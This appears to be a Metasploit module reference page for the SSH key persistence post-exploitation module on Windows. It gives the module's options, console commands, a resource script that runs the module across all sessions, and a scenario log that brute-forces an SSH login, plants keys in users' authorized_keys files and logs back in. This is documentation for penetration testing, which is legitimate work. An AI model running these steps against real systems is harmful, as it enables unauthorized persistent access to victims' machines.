SSH Key Persistence - Metasploit


This page contains detailed information about how to use the post/windows/manage/sshkey_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: SSH Key Persistence
Module: post/windows/manage/sshkey_persistence
Source code: modules/post/windows/manage/sshkey_persistence.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will add an SSH key to a specified user (or all), to allow remote login via SSH at any time.

Module Ranking and Traits

Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/sshkey_persistence

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/sshkey_persistence
msf post(sshkey_persistence) > show options
    ... show and set options ...
msf post(sshkey_persistence) > set SESSION session-id
msf post(sshkey_persistence) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/sshkey_persistence")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

This module will add an SSH key to a specified user (or all), to allow remote login on the victim via SSH at any time.

Creating A Testing Environment

This module has been tested against:

  1. Windows 10, 1903

Verification Steps

  1. Start msfconsole
  2. Exploit a box via whatever method
  3. Do: use post/windows/manage/sshkey_persistence
  4. Do: set session #
  5. Optional Do: set USERNAME
  6. Optional Do: set SSHD_CONFIG
  7. Do: run

Options

SSHD_CONFIG

Location of the sshd_config file on the remote system. We use this to determine if the authorized_keys file location has changed on the system. If it hasn't, we default to .ssh/authorized_keys

USERNAME

If set, we only write our key to this user. If not, we'll write to all users

PUBKEY

A public key to use. If not provided, a pub/priv key pair is generated automatically

ADMIN_KEY_FILE

Location of public keys for Administrator level accounts

ADMIN

Add public keys for gaining access to Administrator level accounts

EDIT_CONFIG

Allow the module to edit the sshd_config to enable public key authentication

Scenarios

Get initial access

msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[+] SSH - Success: 'tiki:tiki' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),
46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic
#37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:38886 -> 192.168.2.190:22) at 2016-06-19 09:52:48 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Use the post module to write the ssh key

msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence 
msf post(sshkey_persistence) > set SESSION 1
SESSION => 1
msf post(sshkey_persistence) > set CREATESSHFOLDER true
CreateSSHFolder => true    
msf5 post(windows/manage/sshkey_persistence) > run

[*] Checking SSH Permissions
[*] Authorized Keys File: .ssh/authorized_keys
[+] Storing new private key as /Users/dwelch/.msf4/loot/20200205161837_default_172.16.128.153_id_rsa_706898.txt
[*] Adding key to C:\Users\Dean Welch\.ssh\authorized_keys
[+] Key Added
[*] Adding key to C:\Users\testAccount\.ssh\authorized_keys
[+] Key Added
[*] Post module execution completed

Verify our access works

ssh -i /Users/dwelch/.msf4/loot/20200205153101_default_172.16.128.153_id_rsa_457054.txt [email protected]

Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.

testaccount@DESKTOP-V8L6UUD C:\Users\testAccount>

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Msfconsole Usage

Here is how the windows/manage/sshkey_persistence post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/sshkey_persistence

msf6 post(windows/manage/sshkey_persistence) > show info

       Name: SSH Key Persistence
     Module: post/windows/manage/sshkey_persistence
   Platform: Windows
       Arch: 
       Rank: Good

Provided by:
  Dean Welch <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name             Current Setting                                    Required  Description
  ----             ---------------                                    --------  -----------
  ADMIN            false                                              yes       Add keys for administrator accounts
  ADMIN_KEY_FILE   C:\ProgramData\ssh\administrators_authorized_keys  yes       Admin key file
  CREATESSHFOLDER  false                                              yes       If no .ssh folder is found, create it for a user
  EDIT_CONFIG      false                                              yes       Edit ssh config to allow public key authentication
  PUBKEY                                                              no        Public Key File to use. (Default: Create a new one)
  SESSION                                                             yes       The session to run this module on.
  SSHD_CONFIG      C:\ProgramData\ssh\sshd_config                     yes       sshd_config file
  USERNAME                                                            no        User to add SSH key to (Default: all users on box)

Description:
  This module will add an SSH key to a specified user (or all), to 
  allow remote login via SSH at any time.

Module Options

This is a complete list of options available in the windows/manage/sshkey_persistence post exploitation module:

msf6 post(windows/manage/sshkey_persistence) > show options

Module options (post/windows/manage/sshkey_persistence):

   Name             Current Setting                                    Required  Description
   ----             ---------------                                    --------  -----------
   ADMIN            false                                              yes       Add keys for administrator accounts
   ADMIN_KEY_FILE   C:\ProgramData\ssh\administrators_authorized_keys  yes       Admin key file
   CREATESSHFOLDER  false                                              yes       If no .ssh folder is found, create it for a user
   EDIT_CONFIG      false                                              yes       Edit ssh config to allow public key authentication
   PUBKEY                                                              no        Public Key File to use. (Default: Create a new one)
   SESSION                                                             yes       The session to run this module on.
   SSHD_CONFIG      C:\ProgramData\ssh\sshd_config                     yes       sshd_config file
   USERNAME                                                            no        User to add SSH key to (Default: all users on box)

Advanced Options

Here is a complete list of advanced options supported by the windows/manage/sshkey_persistence post exploitation module:

msf6 post(windows/manage/sshkey_persistence) > show advanced

Module advanced options (post/windows/manage/sshkey_persistence):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/manage/sshkey_persistence module can do:

msf6 post(windows/manage/sshkey_persistence) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/manage/sshkey_persistence post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/sshkey_persistence) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Pubkey Authentication disabled

Here is a relevant code snippet related to the "Pubkey Authentication disabled" error message:

99:	  end
100:	
101:	  def pub_key_auth_allowed?(sshd_config)
102:	    /^PubkeyAuthentication[\s]+(?<pub_key>yes|no)/ =~ sshd_config
103:	    if pub_key && pub_key == 'no'
104:	      print_error('Pubkey Authentication disabled')
105:	    elsif pub_key
106:	      vprint_good("Pubkey set to #{pub_key}")
107:	    end
108:	  end
109:

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See Also

Check also the following modules related to this module:

Authors

  • Dean Welch <dean_welch[at]rapid7.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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